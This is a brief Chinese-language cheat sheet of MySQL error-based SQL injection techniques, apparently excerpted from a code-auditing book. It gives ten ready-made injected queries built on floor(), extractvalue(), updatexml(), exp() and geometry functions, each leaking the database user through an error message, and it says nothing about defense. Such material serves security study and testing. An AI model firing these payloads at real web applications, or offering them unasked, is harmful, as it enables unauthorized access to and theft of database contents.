MySQL报错注入总结

以下均摘自《代码审计：企业级Web代码安全架构》一书

1. floor()
   select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2. extractvalue()
   select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3. updatexml()
   select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4. geometrycollection()
   select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5. multipoint()
   select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6. polygon()
   select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7. multipolygon()
   select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8. linestring()
   select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9. multilinestring()
   select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10. exp()
    select * from test where id=1 and exp(~(select * from(select user())a));

参考

十种MySQL报错注入
用法示例